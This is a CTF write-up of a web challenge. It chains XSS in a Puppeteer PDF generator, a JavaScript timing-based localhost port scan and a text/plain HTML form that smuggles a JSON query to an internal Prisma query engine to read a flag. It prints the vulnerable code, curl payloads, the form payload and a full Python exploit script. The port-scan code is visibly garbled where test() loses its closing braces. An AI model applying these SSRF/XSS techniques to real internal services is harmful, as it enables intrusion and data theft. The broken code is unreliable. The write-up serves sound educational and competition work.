Tags: web
Rating:
# The Vulnerability
The webserver has multiple endpoints. Let's get a quick overview what they do
## Endpoint `/`
This endpoint displays all the Items in the database.
This will end up looking like this:
```
Welcome to our bookstore
- Complete list of KITCTFCTF hints. Price: 0 [Buy]
- Flag. Price: 1 [Buy]
```
Where `Buy` will take you to a purchase page.
So the goal seems to buy the `Flag` item...
## Endpoint `/checkout/:product`
When we click on the `Buy` link in the previous page, we are redirected here. On a `GET` request we get a small form asking for our email address.
When we submit that form, we do a `POST` request to the same endpoint. There are some things to note here:
First of all, we can only purchase free items:
```
const item = await prisma.item.findFirstOrThrow({
where: {id: parseInt(req.params.product)}
})
if (item.price !== 0) {
return res.end("Our payment processor went bankrupt and as a result we can't accept payments right now. Please check back later or have a look at our free offerings")
}
```
Then, our transaction PDF will be generated by visiting the `_internal/pdf` endpoint, passing our request email along:
```
browser = await puppeteer.launch({
headless: true,
args: ['--no-sandbox', '--js-flags="--jitless"']
})
const page = await browser.newPage()
const u = new URL('http://127.0.0.1:8000/_internal/pdf')
u.search = new URLSearchParams({
id: item.id.toString(),
email: req.body.email as string,
title: item.title as string,
content: item.download as string
}).toString()
await page.goto(u.toString(), {waitUntil: 'networkidle0', timeout: 30000})
res.end(await page.pdf({format: 'A4', timeout: 1000}))
```
Note that it is opening the site in puppeteer, which is basically a headless chrome.
## Endpoint `_internal/pdf`
This endpoint is quite simple. It's substituting the request parameters into an html template:
```
const id = req.query.id || '0'
const title = req.query.title || ''
const email = req.query.email || ''
const content = req.query.content || ''
if (typeof id !== 'string' || typeof title !== 'string' || typeof email !== 'string' || typeof content !== 'string') {
return res.end(':(')
}
const body = pages.get('confirmation')!
.replace(':title', title)
.replace(':email', email)
.replace(':content', content)
res.end(body)
```
However, because this is only a simple string replacement, we can include arbitrary HTML tags (and javascript) and therefore have an XSS-Vulnerability.
Now we only need to figure out what to do with that...
## Inspecting the docker container
As the XSS is running inside the docker container, we may have access to additional endpoints only accessible from inside the container.
To find out what endpoints are available, we deployed the challenge locally. We then opened a root shell in the container via `docker exec -u root -it peaceful_shannon /bin/bash` to install the `iproute2` package via `apt`.
This way we get access to the `ss` tool to print open ports. We suggest running this not via root, but as the challenge user. Otherwise the `-p` option cannot display which process has opened that port due to some permission shenanigans.
```
$ docker exec -it peaceful_shannon /bin/bash
pptruser@7023dbd72d08:/app$ ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
tcp LISTEN 0 128 127.0.0.1:44189 0.0.0.0:* users:(("query-engine-de",pid=94,fd=10))
tcp LISTEN 0 511 *:8000 *:* users:(("node",pid=39,fd=21))
```
If you don't have a `query-engine-de` process listening, open the website and (possibly) buy an item. The `query-engine` will only be started once the first database access has been made.
This seems like an interesting target, to query the flag from the database. We just have to figure out whether we can interact with it via HTTP.
# Analysing `query-engine-de`
We looked online for source code of this query engine. We knew it was part of the prisma framework and stumbled upon the `prisma/prisma-engines` github repo. [This file](https://github.com/prisma/prisma-engines/blob/da382fed977574758dd73a3dab768f4e57ae621f/query-engine/query-engine/src/server/mod.rs#L48) contained the backend routes.
We could see that by issuing a `POST` request, we could send a query to the server. One interesting endpoint was `/sdl`, which printed the graphql schema.
First, we tried to figure out the correct request by reading the source code. However, we got stuck there and decided to dump a request from the container.
To do so, we installed tcpdump in the container and captured the traffic on the loopback device with `tcpdump -i lo -w /tmp/traffic.pcapng`. All we had to do then was to trigger a call to the `query-engine` by buying an item.
We could then copy the pcap to our host machine with `docker cp peaceful_shannon:/tmp/traffic.pcapng ./traffic.pcapng` and open it in wireshark.
The request looked like this:
```
POST / HTTP/1.1
host: 127.0.0.1:45737
connection: keep-alive
Content-Type: application/json
traceparent: 00-10-10-00
content-length: 155
{"variables":{},"query":"query {\n findFirstItemOrThrow(where: {\n id: 1\n }) {\n id\n title\n description\n price\n download\n }\n}"}
```
This was the response:
```
HTTP/1.1 200 OK
content-type: application/json
x-elapsed: 11962
content-length: 185
date: Fri, 09 Jun 2023 22:23:12 GMT
{"data":{"findFirstItemOrThrow":{"id":1,"title":"Complete list of KITCTFCTF hints","description":"This document sure seems to be useful ","price":0,"download":"*
\n
\nList end"}}}
```
If you clean it a bit up, a payload of `{"variables":{},"query":"query{findFirstItemOrThrow(where:{id:2}){download}}"}` is enough to get the flag.
You can check with curl whether your payload works, e.g. `curl 'http://localhost:44189' -d '{"variables":{},"query":"query{findFirstItemOrThrow(where:{id:2}){download}}"}'`
# Extracting the flag
We first tried to just send the request using from javascript using `fetch`. This worked, but we were of course unable to read the response because it was cross-origin (the query engine is running on a different port).
Our first idea was to send an update query that would set the price of the `Flag` item to 0. Since the `checkout` endpoint only prevents us from buying items with `price != 0`, we would then be able to simply "buy" the flag and get a confirmation PDF. The request to update the price looks something like this:
```bash
curl -v 'http://localhost:44189/' -d '{"variables":{},"query":"mutation {\n updateManyItem(data: { price: {set: 0} }, where: { id: 2 }) { count }}"}'
```
Unfortunately, the server responded with `QueryError(SqliteFailure(Error{ code: ReadOnly, extended_code: 8 }, ...)`. This is because the actual Sqlite database file in the Docker container is owned by the `root` user and only configured as read-only to the `pptruser` user.
Since modifying the database wasn't possible, we would have to find a way to read the read the cross-origin response from the server. We then remembered that submitting an html form redirects the user to the resulting webpage by default. This isn't blocked by the same-origin policy since the response is only shown to the user and not readable by the the original website. But in our case `puppeteer` simply prints any webpage that happens to be open once the timeout expires, so it will just print the servers response.
Unfortunately, there is one more problem: we would have to send a json request over html forms, which is not officially supported.
One interesting observation was that the server actually doesn't care about the `Content-Type` header of the request, it just checks that the body contains valid json. Since html forms always generate requests in the format `key1=val1&key2=val2`, we would have to find a way to set the keys and values to form valid json. This is for example possible by setting `key1` to `{"variables":{},"` and `val1` to `":{},"query":"..."}`. This would send a request with the body `{"variables":{},"=":{},"query":"..."}` which is valid json. Unfortunately, the body is still url-encoded by default, which the server doesn't expect. To prevent this, we can send the `enctype` attribute of the form to `text/plain`. The resulting form then looks like this:
```html
<form name="myForm" id="myForm" action="http://127.0.0.1:44189/" method="POST" enctype="text/plain">
<input name='{"variables":{},"' value='":{},"query":"query{findFirstItemOrThrow(where:{id:2}){download}}"}' />
</form>
<script>
window.onload = function(){
document.forms['myForm'].submit();
}
</script>
```
# Finding the correct port
Now the only problem is, the `query-engine-de` process listens on a random port. We only knew what port it was because we had access to the docker container.
To solve the challenge on the remote, we would need to figure out the port it is listening on. When researching whether port scanning was possible from javascript, I stumbled upon [this blog post](https://www.incolumitas.com/2021/01/10/browser-based-port-scanning/).
I highly suggest you give it a read. However, we had to do some adaptions to make it work:
* We reduced the number of measurements to 10 so that the scan would be quicker. However we got some false-positives this way.
* If we want to scan multiple ports, we cannot do this in parallel, because the massive amount of simultaneous connections will exhaust the browser quite quickly which is throwing our measurements off.
So in the end we sent something like this to the server:
```
document.body.innerHTML = "Starting Port Scan...";
async function test() {
// how to use
for (var i = {{portstart}}; i < {{portend}}; i++) {
let [isOpen, m, sumOpen, sumClosed] = await portIsOpen('localhost', i, 10);
if (isOpen) {
document.body.innerHTML += `
Port ${i} open
`;test();
```
Then we can read the open ports from the resulting PDF.
# Putting it all together
This section is just automating all the previous stuff in python. To parse the resulting pdf we used the PyPDF2 library.
To Summarize:
* Send the port scanner to `/checkout/1`
* Read the pdf response and find all ports with the regex `Port (\d+) open`
* Throw our exploit against the found port(s)
* Print the text of the pdf and hope that the flag is in there
Here's the full exploit:
```python
#!/usr/bin/env python3
import requests
import re
from PyPDF2 import PdfReader
template = """
<script>
// Author: Nikolai Tschacher
// tested on Chrome v86 on Ubuntu 18.04
var portIsOpen = function(hostToScan, portToScan, N) {
return new Promise((resolve, reject) => {
var portIsOpen = 'unknown';
var timePortImage = function(port) {
return new Promise((resolve, reject) => {
var t0 = performance.now()
// a random appendix to the URL to prevent caching
var random = Math.random().toString().replace('0.', '').slice(0, 7)
var img = new Image;
img.onerror = function() {
var elapsed = (performance.now() - t0)
// close the socket before we return
resolve(parseFloat(elapsed.toFixed(3)))
}
img.src = "http://" + hostToScan + ":" + port + '/' + random + '.png'
})
}
const portClosed = 37857; // let's hope it's closed :D
(async () => {
var timingsOpen = [];
var timingsClosed = [];
for (var i = 0; i < N; i++) {
timingsOpen.push(await timePortImage(portToScan))
timingsClosed.push(await timePortImage(portClosed))
}
var sum = (arr) => arr.reduce((a, b) => a + b);
var sumOpen = sum(timingsOpen);
var sumClosed = sum(timingsClosed);
var test1 = sumOpen >= (sumClosed * 1.3);
var test2 = false;
var m = 0;
for (var i = 0; i <= N; i++) {
if (timingsOpen[i] > timingsClosed[i]) {
m++;
}
}
// 80% of timings of open port must be larger than closed ports
test2 = (m >= Math.floor(0.8 * N));
portIsOpen = test1 && test2;
resolve([portIsOpen, m, sumOpen, sumClosed]);
})();
});
}
document.body.innerHTML = "Starting Port Scan...";
async function test() {
// how to use
for (var i = {{portstart}}; i < {{portend}}; i++) {
let [isOpen, m, sumOpen, sumClosed] = await portIsOpen('localhost', i, 10);
if (isOpen) {
document.body.innerHTML += `
Port ${i} open
`;test();
</script>
"""
exploit = """
<form name="myForm" id="myForm" action="http://127.0.0.1:{{port}}/" method="POST" enctype="text/plain">
<input name='{"variables":{},"' value='":{},"query":"query{findFirstItemOrThrow(where:{id:2}){download}}"}' />
</form>
<script>
window.onload = function(){
document.forms['myForm'].submit();
}
</script>
"""
domain = "https://" + "25fcb16f03784ff73996658e7bb1655a-trusted-shop-4.chals.kitctf.de"
# domain = "http://localhost:8000"
for port in range(30000, 40000, 500):
r = requests.post(f"{domain}/checkout/1", data={"email": template.replace("{{portstart}}", str(port)).replace("{{portend}}", str(port + 500))})
with open("/tmp/foo.pdf", "wb") as f:
f.write(r.content)
reader = PdfReader('/tmp/foo.pdf')
# getting a specific page from the pdf file
page = reader.pages[0]
# extracting text from page
text = page.extract_text()
ports = re.findall('Port (\\d+) open', text)
for port in ports:
r = requests.post(f"{domain}/checkout/1", data={"email": exploit.replace("{{port}}", str(port))})
with open("/tmp/foo.pdf", "wb") as f:
f.write(r.content)
reader = PdfReader('/tmp/foo.pdf')
# getting a specific page from the pdf file
page = reader.pages[0]
# extracting text from page
text = page.extract_text()
print("Port", port, text)
```
One caveat with this exploit was that we needed a few tries to find the correct port. Keep in mind that you first had to request a challenge server for this challenge by solving a `hashcash` Proof of Work. You were then limited to 300 seconds on your instance (5 minutes).
Due to the performance on the remote server, we had barely enough time to scan the ports from 30000 to 40000. However, the `query-engine` port seemed to be in the range 30000 to 50000.
However, after a few tries we got lucky and got this nice flag: `GPNCTF{n1c3_sh0rt_q8n0l}`